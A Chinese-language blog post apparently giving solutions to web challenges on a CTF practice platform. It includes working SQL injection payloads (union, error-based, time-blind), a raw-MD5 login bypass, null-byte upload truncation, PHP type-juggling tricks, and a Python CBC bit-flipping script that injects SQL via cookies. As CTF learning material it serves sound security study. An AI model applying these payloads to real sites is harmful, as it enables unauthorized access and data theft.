shifeng

实验吧 web wp
上学期开学那段时间刷的,开始有点做题的感觉了<( ̄︶ ̄)>
扫描右侧二维码阅读全文
25
2019/03

实验吧 web wp

上学期开学那段时间刷的,开始有点做题的感觉了<( ̄︶ ̄)>

后台登录

F12可以看到注释里给出了查询的sql,这个语句将password进行了md5加密

md5()这个函数前一个参数为输入字符串,后一个为输出进制。true时为二进制,false时为十六进制
我们可以用这个字符串:ffifdyop
它进过md5后,加密方式设为true时为 'or'6�]��!r,��b ;false时为 276f722736c95d99e921722cf9ed6
21c 转为字符串后是 'or'6
然后获得flag

what a fuck!这是什么鬼东西?

一看就是js之类的码,用控制台输出

上传绕过

做过的题,这里还是想了想为什么%00截断可以
应该是这里dir是文件保存的路径,然后会接filename在uploads/之后。因为这里用%00截断,于是储存路径就变成uploads/1.php%001.jpg,1.jpg不会被读到,于是就被认为是储存的是php文件。而一开始的判断只是靠filename而已,所以就会是jpg的判断,结果就通过得flag

简单的sql注入

这题过滤的东西有点坑
一开始以为是过滤了union select,然后又以为是空格,但好像都不对。最后用'1(语句)1'才查出过滤了什么
查到了过滤了'union ','select ','from ','where ','table_schema','information_schema.columns',
'table_schema','column_name'
payload:

' unionunion  selectselect  database()'
' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_table_schemaschema='web1' or '
' unionunion  selectselect  columncolumn_name_name fromfrom  information_sinformation_schema.columnschema.columns wherewhere  table_name='flag' or '
' unionunion  selectselect  flag fromfrom  flag wherewhere  '1'='1

拐弯抹角

这题打开就是代码审计,虽然很长,但很有意义,学到了不少绕过技巧

<?php 
// code by SEC@USTC 

echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>'; 

$URL = $_SERVER['REQUEST_URI']; 
//echo 'URL: '.$URL.'<br/>'; 
$flag = "CTF{???}"; 

$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php')); 
$stop = 0; 

//这道题目本身也有教学的目的 
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的 
//所以,第一个要求就是不得出现 ./ 
if($flag && strpos($URL, './') !== FALSE){ 
    $flag = ""; 
    $stop = 1;        //Pass 
} 

//第二,我们可以构造 \ 来代替被过滤的 / 
//所以,第二个要求就是不得出现 ../ 
if($flag && strpos($URL, '\\') !== FALSE){ 
    $flag = ""; 
    $stop = 2;        //Pass 
} 

//第三,有的系统大小写通用,例如 indirectioN/ 
//你也可以用?和#等等的字符绕过,这需要统一解决 
//所以,第三个要求对可以用的字符做了限制,a-z / 和 . 
$matches = array(); 
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches); 
if($flag && empty($matches) || $matches[1] != $URL){ 
    $flag = ""; 
    $stop = 3;        //Pass 
} 

//第四,多个 / 也是可以的 
//所以,第四个要求是不得出现 // 
if($flag && strpos($URL, '//') !== FALSE){ 
    $flag = ""; 
    $stop = 4;        //Pass 
} 

//第五,显然加上index.php或者减去index.php都是可以的 
//所以我们下一个要求就是必须包含/index.php,并且以此结尾 
if($flag && substr($URL, -10) !== '/index.php'){ 
    $flag = ""; 
    $stop = 5;        //Pass 
} 

//第六,我们知道在index.php后面加.也是可以的 
//所以我们禁止p后面出现.这个符号 
if($flag && strpos($URL, 'p.') !== FALSE){ 
    $flag = ""; 
    $stop = 6;        //Pass 
} 

//第七,现在是最关键的时刻 
//你的$URL必须与/indirection/index.php有所不同 
if($flag && $URL == '/indirection/index.php'){ 
    $flag = ""; 
    $stop = 7;        //Pass 
} 
if(!$stop) $stop = 8; 

echo 'Flag: '.$flag; 
echo '<hr />'; 
for($i = 1; $i < $stop; $i++) 
    $code = str_replace('//Pass '.$i, '//Pass', $code); 
for(; $i < 8; $i++) 
    $code = str_replace('//Pass '.$i, '//Not Pass', $code); 


echo highlight_string($code, TRUE); 

echo '</body></html>'; 

比如用..回到上级目录以进行绕过得到index.php;用来代替/;大小写绕过;//代替/;index.php.代替index.php
这题主要考点是伪静态页面,可以通过/index.php/index.php绕过获得flag。这里在后面的index.php并不是作为文件,而是作为一个参数传入index.php,继而成功绕过

payload: http://ctf5.shiyanbar.com/indirection/index.php/index.php

Forms

这题完全坑人引导啊!!!
F12发现有个input被hidden,且设值为0,名字叫showsource

觉得有用就试着修改为1然后提交就出了一段代码,很明显直接把a的值提交上去就能获得flag了

Once More

做过的题,ereg用%00截断绕过,长度用科学计数法绕过
payload: password=1e9%00*-*

guess next session

这题一看源码就知道提示又在坑人

一开始想着让password为true就行,然而怎么都不行,怎么都会被认为是str的true。于是换个思路,既然这里是从session里取出password的话,那把session清空不就完了。用burpsuit发送个不带cookie的数据包,此时由于是第一次登录,而session的初始值都为0于是就password为空就能获得flag

记得这题打开时就创建了cookie,于是再输入空password也没用,只能清空cookie

FALSE

又是sha的题,数组或加密后为科学计数法绕过都行

这个看起来有点简单!

太过简单以致做不出来的题【笑哭脸
没想到这题连单引号都不用加

payload:

0 union select 1,2
0 union select 1,table_name from information_schema.tables where table_schema=database()
0 union select 1,column_name from information_schema.columns where table_name='thiskey'
0 union select 1,k0y from thiskey

你真的会PHP吗?

先用一波burpsuit发现hint,这次终于不会眼瞎了hhh
然后用着个获得了一波源码,审核一下,大概就是

首先要是一个字符串
然后不是数字,并在int再str之后会和原本相同
再是int后是个回文,但str后一个个对又不是回文
这题第一反应应该是要用科学计数法或十六进制,但怎么都不行。想过%00但以为不能对这几个函数起作用。然而查了wp知道是有用的,%00能让is_numeri返回false。于是就很简单了,number=0e-0%00得解

登陆一下好吗??

这题一开始试了一下or和',发现or不行而'可以,就脑补了一下sql语句应该是:
select * from where username='' and password=''
然后or被过滤估计and也是被过滤,这是就想到了^。实际上答案也确实使用这个,但我并没解出来,不过又学到了一点东西
当进行sql查询时,如果该列中都是字符串的话,只要查询的列值为0就可以全部查出,没想到sql里也是弱类型的。这里试着用username='^'aaa&password='^'aaa,这里''的值为0,而字符串的值也认为是0(应该是有单引号就判断是字符串了),0^0=0。但并没出flag,估计是password有数字开头,于是就用之前见过的注释方法,username=&password=^'aaa得到flag

因缺思汀的绕过

这题又是奇淫技巧,虽然我的想法和wp差不多,但太菜以致我没解出来orz
F12发现有一个source.txt,是登录的源码

这里过滤了一大堆,但基本都能用/**/绕过,但,()被过滤了就很难受,本来想用类似于union select 1,2然后password=2就能过的,但这里过滤了就头很大。就只能想到盲注,但不想这么搞就查了一下wp,发现一个payload:
uname=' or 1=1 group by psw with rollup limit 1 offset 2#&psw=
真的是又踏入了我的知识盲区,给这里的group by...with rollup举个例子
若是
select dep,pos,avg(sal) from employee group by dep,pos;
查出

depposavg(sal)
01011500.0000
01021950.0000
02011500.0000
02022450.0000
03012500.0000
03022550.0000


select dep,pos,avg(sal) from employee group by dep,pos with rollup;
查出的是

| dep | pos | avg(sal) |
+------+------+-----------+
| 01 | 01 | 1500.0000 |
| 01 | 02 | 1950.0000 |
| 01 | NULL | 1725.0000 |
| 02 | 01 | 1500.0000 |
| 02 | 02 | 2450.0000 |
| 02 | NULL | 2133.3333 |
| 03 | 01 | 2500.0000 |
| 03 | 02 | 2550.0000 |
| 03 | NULL | 2533.3333 |
| NULL | NULL | 2090.0000 |

它会再以第一列进行统计,而此时第二列则为NULL
利用这个性质,我们可以修改offset直到使第二列为NULL,此时使password为空便能通过

还有这里中的数据库里可以查到只有两条,所以这条payload能用

who are you?

看了一下就知道使用X-Forwarded-For进行insert的时间盲注

payload:

' or sleep(3 * ((select length(group_concat(table_name)) from information_schema.tables where table_schema=database())>=5000)) or '
' or sleep(3 * ((select length(group_concat(column_name)) from information_schema.columns  where table_name='flag')>=5000)) or '
' or sleep(3 * ((select length(group_concat(flag)) from flag )>=5000)) or '

不过之前写过一个脚本有些烂,找了个大佬的脚本来跑,这里就不放出来了

简单的sql注入之3

不是很难,尝试了一下updatexml()和floor()不行后就觉得应该会用到一些奇怪的报错,又试了几个后就找到了一个比较常见能用的报错注入
payload:

' and geometrycollection((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a)b))#
' and geometrycollection((select * from(select * from(select group_concat(column_name) from information_schema.columns where table_name='flag')a)b))#
' and geometrycollection((select * from(select * from(select group_concat(flag) from flag)a)b))#

之后还从别人的wp里学到了一个少见的ceil()报错:
payload:

' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1 offset 0),ceil(rand(0)*2))x from information_schema.tables group by x)a)# 
' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='flag' limit 1 offset 0),ceil(rand(0)*2))x from information_schema.tables group by x)a)#
' and (select 1 from (select count(*),concat((select flag from flag limit 1 offset 0),ceil(rand(0)*2))x from information_schema.tables group by x)a)#

天下武功唯快不破

由提示就用burpsuit抓包,发现flag的提示,下面提示post为key的值获得flag

尝试了一下说是不够快,那就是要写脚本了

python走一波,获得flag

忘记密码了

进去没找到什么,就试着抓包

发现管理员邮箱账号,然后提示step2.php,又提示了vim,就猜可能会有遗留未删的备份

打开step2发现submit.php,然后尝试.submit.php.swp获得了源码

这里一个很简单的绕过
?token=0.00000000&emailAddress=admin@simplexue.com
得flag

NSCTF web200

挺简单的题,反解码一下就出来了

程序逻辑问题

查看源码,发现一个有可能是源码的文件

打开发现果然是

读一下就知道该这么做了
user=' union select md5(1)&password=1

PHP大法

提示index.php.txt
又是两次url解码, ?id=hackerD%254A 得flag

简单的sql注入之2

这题我也说不准到底过滤了什么,大概只有获得源码才能一探究竟了吧
试了大概是过滤了' union'、'union ',这个是确定的,但后面两个我就不清楚是这么过滤的了
select左右有/**/时就不会检测出来,没有的话就算单是输入select都会检测到。而)则是右边为/**/时就不会检测出来。(也许是过滤了空格吧)
于是payload就是:

'/**/union/**/select/**/1#
'/**/union/**/select/**/table_name from information_schema.tables where table_schema=database()/**/#
'/**/union/**/select/**/column_name from information_schema.columns where table_name='flag'/**/#
'/**/union/**/select/**/flag from flag/**/#

头有点大

这题提示确实很明显了,要我们用IE、.net9.9框架和在英国地区访问
那就用burpsuit修改http头
前两个在User-Agent后加(MSIE 9.0;.NET CLR 9.9)解决
后面那个本来以为是用英国IP,没想到改Accept-Language为en-gb;就可以了

猫抓老鼠

抓包可以看到一个base64编码字符串,没想到tm不用解码就可以用了,我还专门解码懵逼了好久

貌似有点难、

并没什么难度,而且什么过滤都没做

X-Forwarded-For:1.1.1.1即可
但还是了解一下其他两个
Client_IP这个变量表示的是代理服务器发送的HTTP头,说是并未成标准,因而很少见
Remote_Addr代表的是你的客户端和服务器握手时候的IP。比如但我们使用代理服务器时,里面的值是代理服务器的IP,只有直接连接服务器,服务器才会获得真实IP。

加了料的报错注入

这题确实有丶东西
一开始试着报错然而各种检测到
于是试着写个脚本跑了一下过滤了什么,发现username过滤了()而password过滤了报错注入用的函数名。我们可以构造一个/&password=/把password的去掉,使得前后报错信息都在username上,同时又不会被检测出注入
payload:

username='or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x7e),1) or '
username='or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'),0x7e),1) or '
username='or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(value) from ffll44jj),0x7e),1) or '

简单的登录题

是之前在bugku类似的题,都是找cbc翻转的漏洞
先抓个包,发现tips

然后打开test.php获得源码

<?php

define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");

error_reporting(0); include('conn.php');

function sqliCheck($str){
    if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)) {
        return 1;
    }
    return 0;
}

function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}

function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}

function show_homepage(){
    global $link;
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize");
            $sql="select * from users limit ".$info['id'].",0";
            $result=mysqli_query($link,$sql);
            if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
                $rows=mysqli_fetch_array($result);
                echo 'Hello!'.$rows['username'].'';
            } else{
                echo 'Hello!';
            }
        }else{
            die("ERROR!");
        }
    }
}

if(isset($_POST['id'])){
    $id = (string)$_POST['id'];
    if(sqliCheck($id)) die("sql inject detected!");
    $info = array('id'=>$id);
    login($info);
    echo 'Hello!';
}else{
    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
        show_homepage();
    }else{
        echo 'Login Form 
        input id to login';
    }
}

这里就和bugku那道基本一样了,这里把开头的u换了就行
写个脚本得flag

# -*- coding:utf8 -*-  
from base64 import * 
import urllib
import requests
import re

url = r'http://ctf5.shiyanbar.com/web/jiandan/index.php '

def login(payload):
    payload = {'id':payload}
    http = requests.post(url,data=payload)
    Set_Cookie = http.headers['Set-Cookie']
    iv = re.findall(r"iv=(.*?),",Set_Cookie)[0]
    cipher = re.findall(r"cipher=(.*)",Set_Cookie)[0]
    cookie = {'iv': iv, 'cipher': cipher}
    return cookie

def cipher_(cipher,idx,s1,s2):
    cipher_raw = b64decode(urllib.unquote(cipher))
    lst = list(cipher_raw)
    lst[idx] = chr(ord(lst[idx])^ord(s1)^ord(s2))
    cipher_new = ''.join(lst)
    cipher_new = urllib.quote(b64encode(cipher_new))
    return cipher_new

def plain_(iv,cipher_new):
    cookie_new = {'iv': iv,'cipher': cipher_new}
    http = requests.post(url,cookies=cookie_new)
    con = http.content
    plain = re.findall(r"base64_decode\('(.*?)'\)",con)[0]
    plain = b64decode(plain)
    return plain

def iv_(iv,plain):
    iv_raw = b64decode(urllib.unquote(iv))
    plain_first = 'a:1:{s:2:"id";s:'
    iv_new = ''
    for i in range(16):
        iv_new += chr(ord(plain_first[i])^ord(plain[i])^ord(iv_raw[i]))
    iv_new = urllib.quote(b64encode(iv_new))
    return iv_new

def con_(payload,idx,s1,s2):
    cookie = login(payload)
    cipher_new = cipher_(cookie['cipher'],idx,s1,s2)
    plain = plain_(cookie['iv'],cipher_new)
    iv_new = iv_(cookie['iv'],plain)
    cookie_new = {'iv': iv_new, 'cipher': cipher_new}
    http = requests.post(url,cookies=cookie_new)
    con = http.content
    print con

# con_('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
# con_('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database() limit 1 offset 1)b join (select 3)c);'+chr(0),7,'2','u')
# con_('0 2nion select * from (select * from you_want as a join you_want as b) as c;'+chr(0),6,'2','u')
# con_("0 2nion select * from((select 1)a join (select column_name from information_schema.columns where table_name regexp 'flag' limit 1 offset 1)b join (select 3)c);"+chr(0),7,'2','u')
# con_('0 2nion select * from ((select 1)a join (select value from you_want)b join (select 3)c);'+chr(0),6,'2','u')

让我进去

打开不知道搞什么,就抓包发现cookie里有个source=0,就试着改成1,获得源码

读一下,要我们cookie里getmein的值等于(一串未知15字符+username的值+password的值)进行md5后的值,然后cookie里也会给一串未知15字符+adminadmin进行md5后的值,但这里不允许password输入admin,这就让人很头大的。疯狂挠头了很久后查了一下说是hash长度扩展攻击
具体看这:MD5的Hash长度扩展攻击

利用这个漏洞我们就可以用sample-hash获取$secret + adminadminx80x00x00x00x00x00
x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xc8x00x00x00x00x00x00x00admin进行md5后的值,然后把password填为
adminx80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xc8x00x00x00x00x00x00x00admin就可以使两边相等得到flag

最后修改:2019 年 03 月 25 日 06 : 48 PM
如果觉得我的文章对你有用,请随意赞赏

发表评论